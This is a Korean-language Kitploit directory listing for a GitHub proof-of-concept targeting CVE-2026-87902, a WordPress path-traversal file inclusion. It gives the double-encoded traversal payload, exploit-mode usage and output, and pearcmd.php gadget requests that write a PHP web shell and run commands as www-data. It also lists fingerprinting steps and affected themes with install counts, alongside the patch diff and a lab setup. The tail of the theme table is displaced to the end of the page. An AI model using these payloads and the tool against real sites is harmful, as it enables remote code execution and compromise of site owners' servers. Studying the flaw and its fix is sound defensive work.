Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/vulpecuna/cve-2026-87902
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolLabs & Practice
GitHubvulpecuna/cve-2026-87902

CVE-2026-87902

CVE-2026-87902에 대한 Python PoC로, get_page_template()를 통한 인증되지 않은 WordPress 경로 순회 RCE이며, 버전 핑거프린팅, 테마 검사, 선택적 파일 포함 기능을 갖추고 있습니다.

31419시간 37분 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-87902

권고GHSA-7hp8-65ch-5whp
제품WordPress <= 7.1.1, 7.1.2에서 수정됨; 두 버전 모두 테스트됨
싱크wp-includes/template.php, get_page_template()
원인pagename으로부터 생성된 후보가 validate_file()을 통과하지 않음
행위자익명, 계정 없음, 쿠키 없음, CSRF 토큰 없음
방법단일 GET, 두 개의 매개변수
효과임의의 디스크상 .php가 WordPress 프로세스에서 포함 및 실행됨
에스컬레이션PEAR 가젯이 악용 가능한 경우 원격 명령 실행, PHP와 에스컬레이션 참조
대상에 쓰기기본 --include로는 없음
여기서 재현됨6개 릴리스, 7개 테마, 4개 PHP 버전

요청

root@kitploit:~
GET /?page_id=<any published page>&pagename=<payload> HTTP/1.1

<payload>는 page- 디렉터리, 트래버설, 그리고 대상이며, 모든 점과 슬래시가 이중 인코딩됩니다:

root@kitploit:~
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
필드역할
pagename페이로드. WP_Query는 이를 sanitize_title_for_query()를 통해 실행하는데, 이 함수는 리터럴 점을 대시로 재작성하지만 퍼센트 인코딩된 옥텟은 보존합니다. 그런 다음 get_page_template()이 urldecode()를 호출하여 결과를 경로로 디코딩합니다
page_id임의의 발행된 페이지로, 쿼리가 404를 반환하는 대신 포스트와 일치하도록 합니다. 이것이 없으면 페이지 템플릿이 로드되지 않습니다

코어는 page-{urldecode($pagename)}.php를 생성하고 스타일시트 디렉터리에 대해 이를 해석합니다. 인코딩이 필요합니다: sanitize_title_for_query()는 리터럴 ..을 -로 재작성합니다.

전제 조건

#조건이유
1활성 테마가 최상위 page-* 디렉터리를 포함이름이 page-{payload}.php이므로 첫 번째 세그먼트가 디스크에서 해석되어야 함
2프론트 페이지도 포스트 페이지도 아닌 발행된 페이지 하나is_front_page와 is_home이 is_page보다 먼저 시도됨
3대상 파일이 .php로 끝남코어가 확장자를 추가함

업로드된 콘텐츠 없음, 사이트 구성, 테마 또는 코어에 대한 변경 없음.

영향을 받는 26개 테마 모두 디렉터리를 page-templates라고 부릅니다. poc.py는 themes.json에서 이름을 가져오고, 그 안에 없는 테마에 대해서는 page-templates를 가정하며, --root는 쉼표로 구분된 목록으로 재정의합니다.

Windows 호스트는 전제 조건 1을 무시합니다. Win32는 ..을 어휘적으로 취소하므로, 존재하지 않는 세그먼트도 뒤따르는 ..에 의해 취소됩니다.

경로결과
C:\...\wordpress\page-nothing\..\README.md존재함
C:\...\wordpress\page-nothing\README.md존재하지 않음

Windows 11에서 os.stat으로 테스트했으며, 이는 PHP의 file_exists()와 동일한 Win32 경로 처리를 사용합니다. WordPress 자체는 Windows에서 실행되지 않았습니다.

사용법

확인, 기본값

테마와 두 버전을 식별한 다음 page-* 디렉터리가 존재하는지 묻습니다. 아무것도 포함되거나 실행되지 않습니다.

root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
 1  GET  /                                            200  WordPress 7.1.1, theme neve
 2  GET  /wp-content/themes/neve/style.css            200  neve 4.2.11
 3  GET  /wp-content/themes/neve/page-templates/      403  refused, which on its own establishes nothing
 4  GET  /wp-content/themes/neve/page-e464e285/       404  the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result    neve ships page-templates, core 7.1.1
next      rerun with --exploit to make the target prove it
page-<root>/에 대한 응답해석
200디렉터리가 존재하고 목록을 표시함
404그러한 디렉터리 없음
403불확정적이므로 page-<8 random hex>/에 대한 제어 요청 하나가 뒤따름
403 후 제어 404거부가 존재 여부에 관한 것이었고, 디렉터리가 존재함
403 후 제어 거부됨서버가 요청하는 모든 것을 거부함, 종료 코드 4

영향을 받으려면 둘 다 필요합니다: 디렉터리가 존재하고, 버전이 7.1.1 이하여야 합니다.

익스플로잇

먼저 확인을 실행한 다음, 확인이 대상을 배제하지 않는 한 파일을 포함합니다.

root@kitploit:~
python3 poc.py --target https://example.com --exploit
root@kitploit:~
 5  GET  /?rest_route=/wp/v2/pages                    200  1 published page
 6  GET  /?page_id=2&pagename=page-templates/../../   200  1368 bytes, not the theme's page  [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result    wp-admin/install.php ran: WordPress &rsaquo; Installation

렌더링된 테마 템플릿은 항상 wp_head()를 통해 /wp-content/themes/를 참조하지만, 테마 외부에서 포함된 파일은 그렇지 않습니다. 이것이 판정 규칙입니다.

옵션

옵션기본값효과
--target URL필수테스트 대상 배포
--exploit꺼짐확인 후 파일 포함
--include PATHwp-admin/install.php포함할 .php. 상대 경로는 WordPress 루트에서 해석되고, 절대 경로는 --depth로 상승함
--depth N7절대 --include에 대한 ../ 홉 수
--root NAME[,NAME]themes.json에서시도할 page-* 디렉터리, page- 접두사 없이
--page-id ID발견됨페이지 발견 건너뛰기
--theme SLUG발견됨테마 조회 건너뛰기
--theme-version V발견됨테마 버전 조회 건너뛰기
--no-version꺼짐버전을 알아내는 것만을 목적으로 하는 요청을 하지 않음
--core-json PATHcore.json릴리스 지문, 버전을 공개한 것이 없을 때만 읽음
--trace꺼짐모든 교환 출력
--json꺼짐JSON 객체 하나만, 그 외 없음
--yes꺼짐확인 건너뛰기
코드확인익스플로잇
0영향 받음테마 외부의 .php가 포함됨
1영향 받지 않음포함되지 않음
2응답 없음, 또는 응답이 WordPress가 아님동일
3사용법, 또는 확인에서 거부됨동일
4불확정적, 403 및 7.1.x 사례 참조사용되지 않음

기본 --include는 wp-admin/install.php입니다: 모든 WordPress에서 출력이 명확하고, 아무것도 변경하지 않습니다.

TLS 인증서는 검증되지 않습니다. 만료됨, 자체 서명됨, 호스트 이름 불일치 인증서가 허용됩니다.

버전 핑거프린팅

순서대로 시도하며, 응답하는 첫 번째에서 중지합니다.

소스비용7.1.1에서
홈 페이지의 generator 메타무료정확한 버전
/wp-includes/ 자산의 ?ver=무료정확한 버전
/?feed=rss21 요청정확한 버전
/wp-links-opml.php1 요청정확한 버전
제공된 자산의 sha256을 core.json과 대조1 요청해당 바이트를 제공하는 릴리스 집합

core.json은 112개 발행된 릴리스와 7.1.2를 포함하며, 각각 4개 자산입니다. 이들을 교차하면 9개 릴리스를 정확히 식별하고 중앙값 4개의 후보를 남깁니다. 영향을 받으려면 모든 후보가 7.1.1 이하여야 합니다.

7.1.1과 7.1.2는 외부에서 구별할 수 없습니다. 다른 세 파일은 wp-admin/about.php, wp-includes/template.php, wp-includes/version.php이며, 어느 것도 제공되지 않습니다. 버전을 숨기는 7.1.x 사이트는 종료 코드 4를 받습니다.

테마

wordpress.org에서 가장 많이 설치된 200개 테마. 26개가 page-* 디렉터리를 포함하며 영향을 받고, 합쳐서 9,027,090개 활성 설치 중 765,500개입니다. 나머지 174개는 전제 조건 1에서 실패합니다.

테마버전설치 수page-*상태확인됨
neve4.2.11200,000page-templates🔴 영향 받음lab
sydney2.7180,000page-templates🔴 영향 받음lab
hestia3.3.670,000page-templates🔴 영향 받음lab
inspiro2.2.360,000page-templates🔴 영향 받음survey
colibri-wp1.0.16950,000page-templates🔴 영향 받음survey
twentyfourteen4.650,000page-templates🔴 영향 받음lab
twentytwelve4.950,000page-templates🔴 영향 받음lab
colormag4.2.540,000page-templates🔴 영향 받음lab
zakra4.3.330,000page-templates🔴 영향 받음survey
spacious1.9.1220,000page-templates

lab은 poc.py로 스톡 이미지에 대해 처음부터 끝까지 테스트했음을 의미하고, survey는 테마 아카이브에서 디렉터리를 읽었으며 테마를 구동하지 않았음을 의미합니다.

테스트되어 영향 받지 않으며, 어느 것도 page-* 디렉터리를 포함하지 않음: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.

hestia, neve 등이 제공하는 front-page.php는 영향 여부를 바꾸지 않습니다. 요청에 대해 프론트 페이지의 ID만 배제합니다.

버전

릴리스이미지 기본 테마영향 받는 테마 사용 시확인됨
7.1.2🟢 영향 받지 않음, twentytwentyfive🟢 영향 받지 않음, nevelab
7.1.1🟢 영향 받지 않음, twentytwentyfive🔴 영향 받음, nevelab
7.1.0🟢 영향 받지 않음, twentytwentyfive🔴 영향 받음, nevelab
7.0.4🟢 영향 받지 않음, twentytwentyfive🔴 영향 받음, nevelab
6.8.3🟢 영향 받지 않음, twentytwentyfive🔴 영향 받음, nevelab
6.1.0🟢 영향 받지 않음, twentytwentythree🔴 영향 받음, twentytwelvelab
4.9.8🟢 영향 받지 않음, twentyseventeen🔴 영향 받음, twentytwelvelab
나머지 105개 릴리스측정되지 않음측정되지 않음측정되지 않음
테마 버전전제 조건이 아니며, page-* 디렉터리가 전제 조건입니다. neve 4.2.11은 6.8.3 이상에서, twentytwelve 4.9는 두 개의 더 오래된 코어에서 사용되었습니다
7.1.2발행된 이미지 없음. lab/run.py --core 7.1.2로 테스트했으며, 이는 공식 릴리스 아카이브를 7.1.1-apache 위에 적용합니다
기본 상태4.1 이후 어떤 릴리스도 영향을 받지 않습니다. twentyfifteen부터 twentytwentyfive까지는 page-* 디렉터리를 포함하지 않습니다. twentyfourteen과 twentytwelve는 포함하며, 3.8~4.0과 3.5의 기본값이었으나 해당 이미지는 발행되지 않았습니다
풀 수 없음112개 발행된 태그 중 15개: 4.5.3-apache보다 오래된 14개는 containerd 2.1이 거부하는 v1 매니페스트를 사용하고, 4.5.3-apache는 레지스트리가 제공할 수 없는 레이어를 가집니다

릴리스별로 발행된 PHP 변형으로, 아래 에스컬레이션을 결정합니다:

WordPress 릴리스-apache로 발행된 PHP 변형
4.1.x ~ 4.5.x없음, 일반 태그만, 5.6
4.6.x ~ 5.0.x5.6 7.0 7.1 7.2 7.3
5.1.x ~ 5.5.x7.1 7.2 7.3 7.4
5.6.x ~ 6.0.x7.2 7.3 7.4 8.0 8.1
6.1.x ~ 6.6.x7.4 8.0 8.1 8.2 8.3
6.7.x8.1 8.2 8.3 8.4
6.8.x 및 6.9.x8.1 8.2 8.3 8.4 8.5
7.0.x 및 7.1.x8.2 8.3 8.4 8.5

PHP와 에스컬레이션

파일 포함은 네 이미지 모두에서 성공하며 pearcmd.php가 각각에 존재합니다. 가젯을 통한 명령 실행은 register_argc_argv가 켜져 있어야 하며, php8.5 이미지는 이를 꺼둡니다.

이미지PHPregister_argc_argv
$_SERVER['argv']
pearcmd.php를 통한 RCE확인됨
7.1.1-php8.2-apache8.2.33켜짐, 채워짐🔴 uid=33(www-data)lab
7.1.1-apache8.3.33켜짐, 채워짐🔴 uid=33(www-data)lab
7.1.1-php8.4-apache8.4.25켜짐, 채워짐🔴 uid=33(www-data)lab
7.1.1-php8.5-apache8.5.10꺼짐, null🟢 도달하지 못함lab

CLI가 아닌 apache2handler를 통해 읽으며, CLI는 설정을 강제로 켭니다. RCE 열 뒤의 두 요청:

root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
   -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

poc.py는 파일을 포함하며, 가젯을 구동하지 않습니다. --include /usr/local/lib/php/pearcmd.php --depth 7로 도달합니다. 8.5 이미지에서는 pearcmd.php 외의 다른 가젯은 찾지 않았습니다.

수정

wordpress-7.1.2.zip에서 읽었습니다. 두 가지 변경.

root@kitploit:~
  // wp-includes/template.php, get_page_template()
  if ( $pagename ) {
      $pagename_decoded = urldecode( $pagename );
-     if ( $pagename_decoded !== $pagename ) {
+     if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
          $templates[] = "page-{$pagename_decoded}.php";
      }
      $templates[] = "page-{$pagename}.php";
  }
root@kitploit:~
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+     global $wp_stylesheet_path, $wp_template_path;
+
+     // A file path that exists and does not contain `..` is allowed.
+     if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+         return true;
+     }
+
+     $real_path = realpath( $path );
+     if ( false === $real_path ) {
+         return false;
+     }
+     $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+     $directories = array(
+         $wp_stylesheet_path,
+         $wp_template_path,
+         ABSPATH . WPINC . '/theme-compat',
+     );
+     // ... plus the parent directory of a theme that lives in a subdirectory
+
+     foreach ( $directories as $directory ) {
+         $real_directory = realpath( $directory );
+         if ( false === $real_directory ) {
+             continue;
+         }
+         if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+             return true;
+         }
+     }
+     return false;
+ }

첫 번째는 취약한 분기를 수정하고, 두 번째는 그것을 생성한 것이 무엇이든 모든 해석된 템플릿 경로를 검사합니다. 테스트됨: 7.1.2에서 neve가 활성화되고 page-templates가 존재할 때, 동일한 요청이 설치 프로그램 대신 테마 자체의 페이지를 렌더링하며, 55,084 바이트입니다.

7.1.1 및 이전 버전에는 두 번째 경로가 존재합니다:

root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
차이점WP_Query를 post_name 분기로 우회시키며, 이 분기는 pagename을 재작성하지 않으므로 리터럴 ..이 작동함
필요한 것single.php가 없는 테마, 왜냐하면 is_single이 is_page보다 먼저 시도되기 때문
테스트 대상7.1.1에서 bloghash 사용
여기 있는 이유새니타이저만 강화하는 수정에서도 살아남음. 위의 포함 검사가 이것도 닫음

랩

root@kitploit:~
python3 lab/run.py                       # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions    # rewrite lab/versions.txt from the registry
python3 lab/themes.py                    # rebuild themes.json
python3 lab/core.py --also 7.1.2         # rebuild core.json
root@kitploit:~
 1/9  7.1.1-apache  affected     0  included      twentytwelve      wp-admin/install.php ran
 2/9  7.1.1-apache  affected     0  included      hestia            wp-admin/install.php ran
 3/9  7.1.1-apache  affected     0  included      neve              wp-admin/install.php ran
 4/9  7.1.1-apache  affected     0  included      colormag          wp-admin/install.php ran
 5/9  7.1.1-apache  affected     0  included      sydney            wp-admin/install.php ran
 6/9  7.1.1-apache  unaffected   1  not included  twentytwentyfive  no page-* directory
 7/9  7.1.1-apache  affected     0  included      bloghash          wp-admin/install.php ran
 8/9  7.1.1-apache  unaffected   1  not included  kadence           no page-* directory
 9/9  7.1.1-apache  unaffected   1  not included  astra             no page-* directory
행별
이미지공식 wordpress:<tag>, 수정되지 않음
격리자체 컨테이너, 자체 포트, 공유 MariaDB의 자체 데이터베이스
설치wp-admin/install.php를 통한 HTTP로, 따라서 어떤 버전도 일치하는 wp-cli가 필요하지 않음
상태설치 프로그램이 남긴 그대로, 발행된 페이지 하나, 업로드된 것 없음
구동 방식poc.py --exploit, 따라서 행은 겉모습이 아닌 포함을 측정함
옵션기본값효과
--jobs N2병렬 행
--theme SLUG[@VERSION]없음모든 행에 설치 및 활성화
--core VERSION없음해당 공식 릴리스를 이미지의 코어 위에 적용, 이미지가 없는 릴리스를 실행하는 방법
--keep꺼짐인스턴스를 그대로 두고, 관리자 비밀번호를 마지막에 출력
--prune꺼짐이 실행이 풀한 이미지 삭제
--port-base N8110첫 포트, 행당 하나, 127.0.0.1만
--db-imagemariadb:10.6데이터베이스 이미지
--timeout N180컨테이너가 응답할 때까지의 초
--out PATHlab/results.json행별 세부 정보

종료 코드: 0 모든 행 측정됨, 1 적어도 하나가 측정되지 않음, 2 Docker 없음 또는 실행할 것 없음, 3 사용법 또는 거부됨. WordPress 이미지는 600 MB에서 1.1 GB이므로, --prune 없는 --all은 수십 GB입니다.

.github/workflows/lab.yml은 PoC 또는 랩에 대한 모든 변경 시 그리고 매주 네 개의 행을 실행합니다: 7.1.1과 6.8.3의 영향 받는 테마, 이미지 기본 테마, 그리고 php8.5 변형. 각각 예상 종료 코드를 검증합니다.

참고 자료

권고GHSA-7hp8-65ch-5whp
분석 글https://ressl.ch/blog/cve-2026-87902-wordpress/
다른 PoChttps://github.com/ressl/cve-2026-87902-poc

해당 PoC에서 가져온 두 가지 아이디어, 둘 다 여기서 먼저 테스트됨:

아이디어유지됨테스트됨
페이지 목록을 위한 대체 경로로서 /index.php?rest_route= 및 /wp-json/예발견이 세 가지 중 하나를 통해 성공함
get_page_template()이 해당 템플릿을 먼저 시도하므로 자체 페이지 템플릿이 없는 페이지를 선호예, 순서 지정으로하나를 가진 페이지를 강제해도 7.1.1에서 여전히 재현되었으므로, 최악의 경우 요청 하나를 소비함

파일

root@kitploit:~
poc.py              the PoC, standalone, stdlib only
themes.json         per-theme facts poc.py reads (generated)
core.json           asset fingerprints per release (generated)
lab/run.py          the lab
lab/themes.py       rebuilds themes.json from the survey and the archive cache
lab/core.py         rebuilds core.json from the official release archives
lab/survey.json     200 most-installed themes, their version and page-* directories
lab/targets.txt     the pool lab/run.py stands up by default
lab/versions.txt    112 published releases (generated from the registry)
lab/results.json    last run (ignored)
lab/.cache/         theme and release archives (ignored)
attic/              previous attempt, unwired, ignored

요구 사항: Docker, Python 3.8+, 서드파티 패키지 없음.

도구 다운로드
🔴 영향 받음
survey
hueman3.7.2720,000page-templates🔴 영향 받음survey
bloghash1.0.3010,000page-templates🔴 영향 받음lab
botiga2.4.910,000page-templates🔴 영향 받음survey
tutorstarter4.0.310,000page-templates🔴 영향 받음survey
mesmerize1.6.18710,000page-templates🔴 영향 받음survey
flash1.4.1210,000page-templates🔴 영향 받음survey
shapely1.3.610,000page-templates🔴 영향 받음survey
silverstorm1.0.368,000page-templates🔴 영향 받음survey
prespa1.7.88,000page-templates🔴 영향 받음survey
hybridmag1.1.46,000page-templates🔴 영향 받음survey
chromenews6.2.105,000page-templates🔴 영향 받음survey
morenews4.3.105,000page-templates🔴 영향 받음survey
newsexo9.12,000page-templates🔴 영향 받음survey
reviewnews2.0.51,000page-templates🔴 영향 받음survey
the8-shop-dark1.0.5400page-templates🔴 영향 받음survey
newsonline0.6100page-templates🔴 영향 받음survey